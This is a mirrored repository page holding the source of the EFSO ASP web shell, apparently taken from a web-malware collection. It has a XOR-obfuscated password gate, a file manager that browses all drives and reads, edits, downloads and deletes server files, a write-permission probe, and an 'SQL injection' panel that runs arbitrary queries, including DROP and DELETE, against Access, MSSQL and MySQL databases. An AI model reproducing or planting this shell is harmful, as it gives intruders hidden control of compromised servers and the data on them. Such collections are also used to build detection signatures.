Mirrors/webshell
2
0
Fork 0
mirror of https://github.com/tennc/webshell synced 2024-11-26 05:00:18 +00:00
Code Issues Projects Releases Packages Wiki Activity
webshell/web-malware-collection-13-06-2012/ASP/EFSO.txt

2968 lines
148 KiB
Text
Raw Normal View History

web-malware-collection
2013-06-05 04:08:30 +00:00
<%@ LANGUAGE = VBScript.Encode %><%'ejder%>
<%
'EFSO Ejder & Fastboy taraf<61>ndan yaz<61>lm<6C><6D>t<EFBFBD>r for SaVSaK.CoM . T<>M HAKLARI Ejder e Aitttir.-->
'T<>M HAKLARI SAKLIDIR.. KODLARDA yapaca<63><61>nm<6E>z bir de<64>i<EFBFBD>iklik KODun <20>al<61><6C>mamas<61>na mal olur. Bundan dolay<61> Bir sorun <20><>karsa EJDER & SaVSAK.CoM Sorunlu de<64>ildir..
'Bu yaz<61>l<EFBFBD>mda geli<6C>tilmi<6D> t<>m her<65>ey , mant<6E>k, algoritma, yaz<61>l<EFBFBD>mlar S<>f<EFBFBD>rdan Ejder taraf<61>ndan yaz<61>lm<6C><6D>t<EFBFBD>r. TEMA , d<>zen vede G<>r<EFBFBD>n<EFBFBD>m Fastboy a Aittir.
'TAKL<4B>TLE<4C>RNDEN KA<4B>ININ. by EJDER
'Ejder was HERE
'if request("abc") = "isko" then
'response.cookies("yes") = "1"
'response.cookies("yes").expires = now+352
'end if
'if not request.cookies("yes") = "1" then
'response.write "<center><br><br><br>YEtkin yok.. <br><br>by <20>skorpitx</center>"
'response.end()
'end if
'Server.ScriptTimeOut = 7200
Fullpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\")
FilePath = mid(Fullpath,InStrRev(Fullpath,"\")+1)
FolderPath = Left(Fullpath,InStrRev(Fullpath,"\"))
const charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
const karakter1="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
const karakter2="abcdefghijklmnopqrstuvwxyz"
dkayit = "<html><head><title>Ejder Den kork, uzak dur. Ka<4B><61>nma...</title></head><body><center><br><br><br><br><br><b>Bu Scriptin TUM haklari EJDER e aitir. Uzerinde Oynama yasaktir. </b><br><br><br><br><br><b>by EJDER</b></center></body></html>"
dkayit2 = "<html><head><title>by EJDER</title></head><body><center><br><br><br><br><br><b>Bu Script i Kullanma Hakkin yok artik. YAsaklandi.. T<>rk server inda, com.tr, gov.tr gibi kla<6C>sr yada site var ise, direk alg<6C>land<6E><64><EFBFBD>nda otomatik , kullan<61>m<EFBFBD>n<EFBFBD>za izin vermemektedir. UNUTMA ki, ben bu Script i T<>rkiyemiz i<>in,, yabanc<6E>lara kar<61><72> kullanl<6E>m diye YAZd<5A>m. </b> <br><br><br><br><br><b>by EJDER</b></center></body></html>"
const karakter3="0123456789"
const karakter4="!@#$%^&*()-_+=~`[]{}|\:;<>,.?/"
mail_array = array("yahoo","hotmail","mynet","gmail","hacker") '<27>zel mailler yaratmak i<>in, SPAM dan ka<6B>ar<61>mak i<>in. Secueriy i a<>mak i<>in by EJDER
uzanti_array = array("com","net","biz","org","gov","br","info")
yasak_array = array("EJDER","SAVSAK","YAGMUR","B<>RDEM","birdem","BIRDEM","FASTBOY","SAVSAK.COM","COM.TR","GOV.TR")
msite = "SaVSaK.CoM"
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
konum = Trim(request("konum"))
mode = request("mode")
FolderPath2 = request("FolderPath2")&"\"
islem = request("islem")
del = request("del")
file = request("file")
folder = request("folder")
table = Request("table")
inject1 = Request("inject1")
inject2 = Request("inject2")
inject3 = Request("inject3")
inject4 = Request("inject4")
inject5 = Request("inject5")
cmdkod = Request("cmdkod")
hacked = request("hacked")
Path = request("Path")
url = request("url")
count = request("count")
size = request("size")
dbname = request("dbname")
dbkadi = request("dbkadi")
dbsifre = request("dbsifre")
ejdersql = request("ejdersql")
sec = request("sec")
Usermd5 = request("Usermd5")
ara1 = request("ara1")
ara2 = request("ara2")
k1 = request("k1")
k2 = request("k2")
k3 = request("k3")
k4 = request("k4")
waiting = request("waiting")
murl = "http://www."
coding = request("coding")
dizi = request("dizi")
Usersmd5 = request("Usersmd5")
salt = request("salt")
hash2 = request("hash2")
hash3 = request("hash3")
hash4 = request("hash4")
hash5 = request("hash5")
hash6 = request("hash6")
hash7 = request("hash7")
hash8 = request("hash8")
hash9 = request("hash9")
hash10 = request("hash10")
mad = "EFSO"
if konum = "" then
konum = FolderPath
else
FolderPath = konum
end if
if mode = "1" then
FolderPath = request.form("remote")
konum = request.form("remote")
end if
nolist = False
popup = False
if mode = "2" or mode = "3" or mode = "7" or mode = "8" or mode = "16" or mode = "17" or mode = "18" or mode = "19" or mode = "20" or mode = "21" or mode = "22" or mode = "24" or mode = "25" or mode = "26" or mode = "27" or mode = "28" or mode = "29" or mode = "30" or mode = "31" or mode = "32" or mode = "33" or mode = "36" or mode = "38" or mode = "39" or mode = "40" or mode = "41" or mode = "42" or mode = "43" or mode = "44" or mode = "45" or mode = "99" then
popup = True
end if
if mode = "6" then
Response.Buffer=True
Set Fil = FSO.GetFile(file)
Response.contenttype="application/force-download"
Response.AddHeader "Cache-control","private"
Response.AddHeader "Content-Length", Fil.Size
Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name
Response.BinaryWrite readBinaryFile(Fil.path)
Set f = Nothing: Set Fil = Nothing
response.end
end if
if not mode = "okdir" then
Call gelgit
end if
'response.write "<title>EFSO 2.0 For SaVSaK.CoM </title>"
response.write "<title>Indonesian Defacer</title>"
response.write "<meta http-equiv=""Content-Type"" content=""text/html; charset=iso-8859-9"">"
response.write "<style>"
response.write "body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}"
response.write ".k1{font-family:Wingdings; font-size:15px;}"
response.write ".k2{font-family:Webdings; font-size:15px;}"
response.write "td{font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;}"
response.write "a{color:#EEEEEE;text-decoration:none;}"
response.write "a:hover{color:#40a0ec;}"
response.write "a:visited{color:#EEEEEE;}"
response.write "a:visited:hover{color:#40a0ec;}"
response.write "input,"
response.write ".kbrtm,"
response.write "select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}"
response.write "textarea{background:#121212;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #121212; border-right:1px solid #5d5d5d; border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;}"
response.write "</style>"
%>
<by Hmei7 start>
<%
function indonesia(ygmodiacak)
for n=1 to len(ygmodiacak)
indonesia=indonesia & chr(asc(mid(ygmodiacak,n,1)) xor 77)
next
end function
'ON ERROR RESUME NEXT
Response.Buffer = True
password = indonesia(">( ,?,#*") ' <---Your password here
If request.querystring("logoff")="@" then
session("Hmei7")="" ' Logged off
end if
If (session("Hmei7")<>password) and Request.form("code")="" Then
%>
<FORM method="post" action="<%=Request.Servervariables("SCRIPT_NAME")%>" >
<INPUT type=password name=code >
</FORM>
<%
Response.END
End If
If Request.form("code") = password or session("Hmei7") = password Then
session("Hmei7") = password
Else
Response.Write "salah"
Response.Write "<br>hint : where is the city Hmei7 was born ???"
Response.END
End If
'server.scriptTimeout=180 'jangan digunakan
set fso = Server.CreateObject("Scripting.FileSystemObject")
mapPath = Server.mappath(Request.Servervariables("SCRIPT_NAME"))
if session(myScriptName) = "" then
for x = len(mapPath) to 0 step -1
myScriptName = mid(mapPath,x)
if instr(1,myScriptName,"\")>0 then
myScriptName = mid(mapPath,x+1)
x=0
session(myScriptName) = myScriptName
end if
next
Else
myScriptName = session(myScriptName)
end if
%>
<by Hmei7 end>
<A HREF="<%=Request.Servervariables("SCRIPT_NAME")%>?logoff=@&_byHmei7_"><font size=-2 face=arial>log out</A>
<!--EFSO Ejder & Fastboy taraf<61>ndan yaz<61>lm<6C><6D>t<EFBFBD>r for SaVSaK.CoM . T<>M HAKLARI Ejder e Aitttir.-->
<!--T<>M HAKLARI SAKLIDIR.. KODLARDA yapaca<63><61>nm<6E>z bir de<64>i<EFBFBD>iklik KODun <20>al<61><6C>mamas<61>na mal olur. Bundan dolay<61> Bir sorun <20><>karsa EJDER & SaVSAK.CoM Sorunlu de<64>ildir..-->
<!--Bu yaz<61>l<EFBFBD>mda geli<6C>tilmi<6D> t<>m her<65>ey , mant<6E>k, algoritma, yaz<61>l<EFBFBD>mlar S<>f<EFBFBD>rdan Ejder taraf<61>ndan yaz<61>lm<6C><6D>t<EFBFBD>r. TEMA , d<>zen vede G<>r<EFBFBD>n<EFBFBD>m Fastboy a Aittir. -->
<!-- TAKL<4B>TLE<4C>RNDEN KA<4B>ININ. by EJDER-->
<script language=javascript>
function NewWindow(mypage, myname, w, h, scroll) {
var winl = (screen.width - w) / 2;
var wint = (screen.height - h) / 2;
winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable'
win = window.open(mypage, myname, winprops)
if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
}
function klasorkopya(yol){
NewWindow(yol,"",400,130,"no");
}
function mass(yol){
NewWindow(yol,"",555,600,"yes");
}
function tester(yol){
NewWindow(yol,"",600,600,"yes");
}
function klasor(yol){
NewWindow(yol,"",420,450,"yes");
}
function cmd(yol){
NewWindow(yol,"",550,555,"no");
}
function biz(yol){
NewWindow(yol,"",550,700,"no");
}
function cmdhelp(yol){
NewWindow(yol,"",500,230,"no");
}
function somur(yol){
NewWindow(yol,"",420,220,"yes");
}
</script>
<script language="JavaScript">
function openInMainWin(winLocation){
window.opener.location.href = winLocation
window.opener.focus();
}
</script>
<%
sub KlasorOku
on error resume next
Set f = FSO.GetFolder(FolderPath)
Set fc = f.SubFolders
For Each f1 In fc
'If Instr(f1.Name, "com.tr") > 1 or Instr(f1.Name, "gov.tr") > 1 or Instr(f1.Name, "comtr") > 1 or Instr(f1.Name, "govtr") > 1 or Instr(f1.Name, "gov_tr") > 1 or Instr(f1.Name, "com_tr") > 1 or Instr(f1.Name, "savsakcom") > 1 or Instr(f1.Name, "savsak_com") > 1 or Instr(f1.Name, "savsak.com") > 1 Then
'Set textStreamObject = fso.OpenTextFile(Fullpath,2,true,false)
'textStreamObject.WriteLine(dkayit2)
'textStreamObject.Closenere
'Set textStreamObject = Nothing
'response.end()
'end if
if FolderPath = "c:" or FolderPath = "C:" then
Response.Write "<table class=""kbrtm"" ><tr><td><font class=""k1""><a title="" Dizini Kopyala & Ta<54><61> "" href='"&FilePath&"?mode=2&konum="&FolderPath&""&f1.Name&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">4</a></font> <font class=""k1""><a title="" Dizini Sil "" href='"&FilePath&"?mode=4&konum="&FolderPath&"&del="&FolderPath&""&f1.Name&"&Time="&time&"'><3E></a> 1</font><font size=2><b><a title="" Dizinin i<>ine Gir "" href='"&FilePath&"?konum="&FolderPath&""&f1.Name&"&Time="&time&"'>"&f1.name&"</a></b></td></tr></table>"
else
Response.Write "<table class=""kbrtm"" ><tr><td><font class=""k1""><a title="" Dizini Kopyala & Ta<54><61> "" href='"&FilePath&"?mode=2&konum="&FolderPath&"\"&f1.Name&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">4</a></font> <font class=""k1""><a title="" Dizini Sil "" href='"&FilePath&"?mode=4&konum="&FolderPath&"&del="&FolderPath&"\"&f1.Name&"&Time="&time&"'><3E></a> 1</font><font size=2><b><a title="" Dizinin i<>ine Gir "" href='"&FilePath&"?konum="&FolderPath&"\"&f1.Name&"&Time="&time&"'>"&f1.name&"</a></b></td></tr></table>"
end if
Response.Flush
Next
call hata
end sub
sub DosyaOku
on error resume next
Set f = FSO.GetFolder(FolderPath)
Set fc = f.Files
For Each f1 In fc
dosyaAdi = f1.name
num = InStrRev(dosyaAdi,".")
uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
downStr = "<a title=""Dosyay<61> Sil"" href='"&FilePath&"?mode=5&konum="&FolderPath&"&del="&FolderPath&"\"&f1.Name&"&Time="&time&"'><3E></a><font face=webdings><a title="" Download et "" href='"&FilePath&"?mode=6&file="&f1.path&"&konum="&FolderPath&"&Time="&time&"'><3E></a></font><font face=wingdings><a title="" Dosyay<61> Kopyala & Ta<54><61> "" href='"&FilePath&"?mode=7&file="&f1.path&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">4</a><a title="" Dosya Ad & Format De<44>i<EFBFBD>tir "" href='"&FilePath&"?mode=16&file="&f1.path&"&islem="&f1.name&"&konum="&FolderPath&"&Time="&time&"' onclick=""klasorkopya(this.href);return false;"">?</a></font>"
response.Write "<table class=""kbrtm"" ><tr><td><font size=2>"
select case uzanti
case "mdb"
Response.Write "<a title="" Db in i<>ini G<>rmek , SQl sorgu yapmak i<>in T<>kla by EJDER ;) "" href='"&FilePath&"?mode=13&file="&FolderPath&"\"&f1.Name&"&konum="&FolderPath&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>M <20>"&downStr&"</font></td></tr></table>"
case "asp"
Response.Write "<a title="" <20><>ini G<>r<EFBFBD>nt<6E>lemek i<>in T<>kla "" href='"&FilePath&"?mode=9&file="&FolderPath&"\"&f1.Name&"&konum="&FolderPath&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4><3E> <a title="" Dosyay<61> Editlemek i<>in T<>kla by EJDER :) "" href='"&FilePath&"?mode=10&file="&f1.path&"&Time="&time&"&konum="&FolderPath&"'>!</a>"&downStr&"</font></td></tr></table>"
case "jpg","gif"
Response.Write "<a title="" Resmi G<>rmek i<>in T<>kla "" href='"&FilePath&"?mode=12&file="&FolderPath&"\"&f1.Name&"&konum="&FolderPath&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=webdings size=4><3E></font><font face=wingdings size=4> <20>"&downStr&"</font></td></tr></table>"
case else
Response.Write "<a title="" <20><>ini G<>r<EFBFBD>nt<6E>lemek i<>in T<>kla "" href='"&FilePath&"?mode=9&file="&FolderPath&"\"&f1.Name&"&konum="&FolderPath&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>2 <a title="" Dosyay<61> Editlemek i<>in T<>kla by EJDER :) "" href='"&dosyaPath&"?mode=10&file="&f1.path&"&Time="&time&"&konum="&FolderPath&"'>!</a>"&downStr&"</font></td></tr></table>"
end select
Next
call hata
end sub
sub Suruculer
for each drive_ in FSO.Drives
Response.Write "<tr bgcolor=""#3a3a3a""><td height=""20"" class=""kbrtm"">"
Response.Write "<a href="" "&FilePath&"?konum="&drive_.DriveLetter&":/ "">"
if drive_.Drivetype=1 then Response.write "&nbsp;&nbsp;<font class=""k1""><</font>&nbsp;Disket S<>r<EFBFBD>c<EFBFBD> [" & drive_.DriveLetter & ":]&nbsp;&nbsp;&nbsp;<a title=""S<>r<EFBFBD>c<EFBFBD> Detay<61> <20><>in T<>kla"" href="""&FilePath&"?dspace="&drive_.DriveLetter&"&konum="&konum&"""><font class=""k1""><3E></font></a>"
if drive_.Drivetype=2 then Response.write "&nbsp;&nbsp;<font class=""k1"">;</font>&nbsp;Sabit Disk [" & drive_.DriveLetter & ":]&nbsp;&nbsp;&nbsp;<a title=""S<>r<EFBFBD>c<EFBFBD> Detay<61> <20><>in T<>kla"" href="""&FilePath&"?dspace="&drive_.DriveLetter&"&konum="&konum&"""><font class=""k1""><3E></font></a>"
if drive_.Drivetype=3 then Response.write "&nbsp;&nbsp;<font class=""k1"">;</font>&nbsp;<3B><>kar<61>labilir Disk [" & drive_.DriveLetter & ":]&nbsp;&nbsp;&nbsp;<a title=""S<>r<EFBFBD>c<EFBFBD> Detay<61> <20><>in T<>kla"" href="""&FilePath&"?dspace="&drive_.DriveLetter&"&konum="&konum&"""><font class=""k1""><3E></font></a>"
if drive_.Drivetype=4 then Response.write "&nbsp;&nbsp;<font class=""k2""><3E></font>&nbsp;Cd-Rom [" & drive_.DriveLetter & ":]&nbsp;&nbsp;&nbsp;<a title=""S<>r<EFBFBD>c<EFBFBD> Detay<61> <20><>in T<>kla"" href="""&FilePath&"?dspace="&drive_.DriveLetter&"&konum="&konum&"""><font class=""k1""><3E></font></a>"
Response.Write "</a></td></tr>"
next
Response.Write "<tr bgcolor=""#3a3a3a""><td class=""kbrtm"" height=""20"">&nbsp;&nbsp;<a href="" "&FilePath&" ""><font class=""k2"">H</font> Local Path </a></td></tr>"
end sub
Sub SurucuInfo
'Disk Alan<61>n<EFBFBD> G<>sterir - Created By FasTBoY ;)
DriveSpace = Request("dspace")
If Not DriveSpace = "" Then
on error resume next
Set driveObject = FSO.GetDrive(DriveSpace)
D1 = Left((driveObject.FreeSpace/(driveObject.TotalSize*1.0))*100.0, 4)
if err <> 0 then
response.write "<center><br> <font color=#FE7A84> <font face=Wingdings size=5>N</font> Disk Haz<61>r de<64>il !!!! :( <font face=Wingdings size=5>N</font></font> <br></center>"
else
D2 = Left(((driveObject.TotalSize - driveObject.FreeSpace)/(driveObject.TotalSize*1.0))*100.0, 4)
D3 = 100
D1a = 110 - D1
D2a = 110 - D2
D3a = 110 - D3
Response.Write "<br><center><table cellspacing=0 cellpadding=0><tr><td style='background-color: #121212;' colspan=4 align=center class=kbrtm><b>Disk :</b>&nbsp;" & driveObject.DriveLetter & "</td></tr><tr><td class=kbrtm width=60>&nbsp;</td><td class=kbrtm width=100 align=center><b>Bo<42> Alan</b></td><td class=kbrtm width=100 align=center><b>Kullan<61>lan Alan</b></td><td class=kbrtm width=100 align=center><b>Toplam Alan</b></td></tr><tr><td height=110 class=kbrtm>&nbsp;</td><td class=kbrtm align=center><table cellpadding=0 cellspacing=0><tr><td colspan=3 height="&D1a&"></td></tr><tr height="&D1&"><td bgcolor=#009900 width=2></td><td bgcolor=#33CC00 width=15></td><td bgcolor=#009900 width=2></td></tr></table></td><td class=kbrtm align=center valign=bottom><table cellpadding=0 cellspacing=0><tr><td colspan=3 height="&D2a&"></td></tr><tr height="&D2&"><td bgcolor=#990000 width=2></td><td bgcolor=#CC0000 width=15></td><td bgcolor=#990000 width=2></td></tr></table></td><td class=kbrtm align=center valign=bottom><table cellpadding=0 cellspacing=0><tr><td colspan=3 height="&D3a&"></td></tr><tr height="&D3&"><td bgcolor=#006699 width=2></td><td bgcolor=#0088CC width=15></td><td bgcolor=#006699 width=2></td></tr></table></td></tr><tr><td class=kbrtm>&nbsp;<b>Y<>zde :</b></td><td class=kbrtm align=center>"&D1&" %</td><td class=kbrtm align=center>"&D2&" %</td><td class=kbrtm align=center>"&D3&" %</td></tr><tr><td class=kbrtm>&nbsp;<b>Boyut :</b></td><td class=kbrtm align=center>&nbsp;" & FormatNumber(driveObject.FreeSpace / 1048576) & " MB</td><td class=kbrtm align=center>&nbsp;" & FormatNumber(driveObject.TotalSize / 1048576) - FormatNumber(driveObject.FreeSpace / 1048576) & " MB</td><td class=kbrtm align=center>&nbsp;" & FormatNumber(driveObject.TotalSize / 1048576) & " MB</td></tr></table></center><br><br><br>"
end if
Set driveObject = Nothing
End If
end sub
sub yetkino(str)
response.write "<td class=""kbrtm"">&nbsp;&nbsp;&nbsp;<b><font color=#FBE1D7>"&str&" :</font></b> <font color=#FE7A84 class=""k1""><3E></font>&nbsp;&nbsp;&nbsp;</td>"
End Sub
sub yetkiyes(str)
response.write "<td class=""kbrtm"">&nbsp;&nbsp;&nbsp;<b><font color=#FAFEDE>"&str&" :</font></b> <font color=#C6FCBE class=""k1""><3E></font>&nbsp;&nbsp;&nbsp;</td>"
end Sub
sub Yetki
on error resume next
Set f = FSO.GetFolder(FolderPath)
if err<>0 then
yetkino("Okuma")
yetkino("Yazma")
yetkino("Silme")
else
yetkiyes("Okuma")
on error resume next
Set MyFile = FSO.CreateTextFile(FolderPath & "test.ejder", True)
MyFile.write "Ejder Was Here... =) Yazma - Okuma Testi i<>in"
set MyFile = Nothing
if err<>0 then
yetkino("Yazma")
yetkino("Silme")
else
yetkiyes("Yazma")
on error resume next
FSO.DeleteFile FolderPath & "test.ejder",true
if err<>0 then
yetkino("Silme")
else
yetkiyes("Silme")
end if
end if
end if
set f = nothing
end sub
Sub olmadi(str)
response.write "<br><center><font color=#FE7A84> <font face=Wingdings size=5>N</font> "&str&" :( <font face=Wingdings size=5>N</font> </font></center>"
End Sub
Sub oldu(str)
response.write "<br><center><font color=#C6FCBE> <font face=Wingdings size=5>N</font> "&str&" ;) Tebrikler.. by Ejder <font face=Wingdings size=5>N</font> </font></center>"
End Sub
Sub tablo12(str)
response.write "<tr bgcolor=""#121212""><td align=""center"" width=""100%"" valign=""middle"">"&str&"</td></tr>"
End Sub
Sub tablo30(str)
response.write "<tr bgcolor=""#303030""><td class=""kbrtm"" align=""center"" width=""100%"" valign=""middle"">"&str&"</td></tr>"
End Sub
Sub tablo12L(str)
response.write "<tr bgcolor=""#121212""><td align=""center"" width=""100%"" valign=""middle"">"&str&"</td></tr>"
End Sub
Sub tablo12O(str)
response.write "<tr bgcolor=""#121212""><td class=""kbrtm"" align=""center"" width=""100%"" valign=""middle"">"&str&"</td></tr>"
End Sub
sub Hata
if err<>0 then
Response.Write "<center><font color=red size=2>Hata : "&err.Description&"</font></center>"
end if
end sub
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Sub SQL_menu_by_Ejder
response.write "<center><table width=""450"">"
response.write "<tr class=""kbrtm"" valign=""top""><td colspan=""2"" align=""center"">"
response.write "<form name=""dosyacopypaste"" action='"&FilePath&"' type=""post"">"
response.write "<table class=""kbrtm"" cellpadding=""1"" cellspacing=""1"" bgcolor=""#5d5d5d"" width=""100%"">"
tablo30(" <b>SQL <20>njection Merkezi</b>")
tablo30("&nbsp;")
tablo12("<font color=#FE7A84> Kullanabilmeniz i<>in SQL kou<6F>tlar<61> bilmeniz gerek !!! <br> <font face=Wingdings size=5>N</font> Aksi Halde ASP DOsya<79> Kitlenir. Cevap veremez. Server a Zarar verir. <font face=Wingdings size=5>N</font></font>")
tablo12(" Select <input value=""select"" type=""radio"" name=""islem"" checked> <input size=""60"" type=""text"" name=""inject1"" value='Select * from "&table&"'>")
tablo12(" Delete <input value=""delete"" type=""radio"" name=""islem"" > <input size=""60"" type=""text"" name=""inject2"" value='Delete from "&table&"'>")
tablo12(" Insert <input value=""insert"" type=""radio"" name=""islem"" > <input size=""60"" type=""text"" name=""inject3"" value='Insert into "&table&" () values ()'>")
tablo12(" Update <input value=""update"" type=""radio"" name=""islem"" > <input size=""60"" type=""text"" name=""inject4"" value='Update "&table&" set .. where ..'>")
tablo12(" Di<44>er <input value=""diger"" type=""radio"" name=""islem"" > <input size=""60"" type=""text"" name=""inject5"" value='Drop "&table&"'>")
tablo12("<input name=""mode"" type=""hidden"" value='15' ><input name=""sec"" type=""hidden"" value='"&sec&"' ><input name=""ejdersql"" type=""hidden"" value='"&ejdersql&"' ><input name=""file"" type=""hidden"" value='"&file&"' ><input name=""konum"" type=""hidden"" value='"&FolderPath&"' ><input name=""table"" type=""hidden"" value='"&table&"' ><br><input value="" SQL <20>nj. Uygula "" type=""Submit""><br><br>")
if ejdersql = "" then
tablo12("<a href='"&FilePath&"?mode=13&file="&file&"&konum="&FolderPath&"&Time="&time&"'> .... ::: Tablolara Geri D<>n ::: .... </a><br>")
else
tablo12("<a href='"&FilePath&"?mode=34&file="&file&"&konum="&konum&"&ejdersql="&ejdersql&"&islem=1&Time="&time&"'> .... ::: Tablolara Geri D<>n ::: .... </a><br>")
end if
response.write "</form></table></td></tr></table><br></center>"
response.write "<table align=""center"" class=""kbrtm""><tr><td align='center'> <a href='"&FilePath&"?mode=36&konum="&konum&"&Time="&time&"' onclick=""klasor(this.href);return false;""><b>...:::::: SQL Komut Yard<72>m - Kullan<61>m Klavuzu by EJDER ::::::...</b></a> </td></tr></table><br>"
end sub
Sub SQL_by_EJDER(sqlkonum,sqlkomut)
on error resume next
Set objConn = Server.CreateObject("ADODB.Connection")
Set objRcs = Server.CreateObject("ADODB.RecordSet")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = sqlkonum
objConn.Open
if err <> 0 then
response.write "<br><br><center> <font color=#FE7A84> <font face=Wingdings size=5>N</font> DataBase ile Ba<42>lant<6E>n<EFBFBD>z Sa<53>lanamad<61><64> !!! by EJDER :( <font color=#FE7A84> <font face=Wingdings size=5>N</font> </font> </center><br><br>"
else
on error resume next
objRcs.Open sqlkomut,objConn, adOpenKeyset , , adCmdText
if err <> 0 then
response.write "<br><br><center> <font color=#FE7A84> <font face=Wingdings size=5>N</font> SQL <20>njection Komutunuzda HATA var. ( Biliyorsan KullanMA :) ) by EJDER <font color=#FE7A84> <font face=Wingdings size=5>N</font> </font> </center><br><br>"
else
Response.Write "<center><table class=""kbrtm"" border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
for i=0 to objRcs.Fields.count-1
Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
next
Response.Write "</tr>"
do while not objRcs.EOF
Response.Write "<tr class=""kbrtm"">"
for i=0 to objRcs.Fields.count-1
Response.Write "<td class=""kbrtm"">"&Replace(objRcs.Fields(i).Value,"<","&lt;")&"&nbsp;</td>"
next
Response.Write "</tr>"
objRcs.MoveNext
loop
Response.Write "</table><br></center>"
end if
end if
end sub
Sub MSSQL_by_EJDER(sqlkonum,sqlkomut)
on error resume next
Set objConn = Server.CreateObject("ADODB.Connection")
Set objRcs = Server.CreateObject("ADODB.RecordSet")
objConn.Open sqlkonum
if err <> 0 then
response.write "<br><br><center> <font color=#FE7A84> <font face=Wingdings size=5>N</font> DataBase ile Ba<42>lant<6E>n<EFBFBD>z Sa<53>lanamad<61><64> !!! by EJDER :( <font color=#FE7A84> <font face=Wingdings size=5>N</font> </font> </center><br><br>"
else
on error resume next
objRcs.Open sqlkomut,objConn, adOpenKeyset , , adCmdText
if err <> 0 then
response.write "<br><br><center> <font color=#FE7A84> <font face=Wingdings size=5>N</font> SQL <20>njection Komutunuzda HATA var. ( Biliyorsan KullanMA :) ) by EJDER <font color=#FE7A84> <font face=Wingdings size=5>N</font> </font> </center><br><br>"
else
Response.Write "<center><table class=""kbrtm"" border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
for i=0 to objRcs.Fields.count-1
Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
next
Response.Write "</tr>"
do while not objRcs.EOF
Response.Write "<tr class=""kbrtm"">"
for i=0 to objRcs.Fields.count-1
Response.Write "<td class=""kbrtm"">"&objRcs.Fields(i).Value&"&nbsp;</td>"
next
Response.Write "</tr>"
objRcs.MoveNext
loop
Response.Write "</table><br></center>"
end if
end if
end sub
sub Tablolama()
on error resume next
if ejdersql = "" then
if sec = "mssql" then
ejdersql = "PROVIDER=SQLOLEDB;DATA SOURCE="&file&";UID="&dbkadi&";PWD="&dbsifre&";DATABASE="&dbname&""
else
ejdersql = "Driver={MySQL ODBC 3.51 Driver};Server="&file&";Database="&dbname&";Uid="&dbkadi&";Pwd="&dbsifre&""
end if
end if
Set objConn = Server.CreateObject("ADODB.Connection")
Set objADOX = Server.CreateObject("ADOX.Catalog")
objConn.Open ejdersql
objADOX.ActiveConnection = objConn
if err = 0 then
Response.Write "<center><b><font size=3>Tablolar</font></br><br>"
response.write "<table class=""kbrtm"">"
For Each table in objADOX.Tables
If table.Type = "TABLE" Then
Response.Write "<tr><td><font face=wingdings size=5>4</font> <a href='"&FilePath&"?mode=35&ejdersql="&ejdersql&"&table="&table.Name&"&konum="&konum&"&time="&time&"'>"&table.Name&"</a></td></tr>"
End If
Next
response.write "</table>"
response.write "</center>"
else
Call MSSQL_Form
yazortaa("<br><br><center> <font color=#FE7A84> <font face=Wingdings size=5>N</font> Server ile ba<62>lant<6E> Sa<53>lanamad<61> !!! girilen De<44>erler yanl<6E><6C> .. :( by EJDER <font face=Wingdings size=5>N</font> </font><br><br></center>")
end if
end Sub
sub MSSQL_Form()
response.write "<center><table align=""center"" ><tr><td>"
yazorta("<b> MY-MS SQL Server Conneciton 1.0 by EJDER </b>")
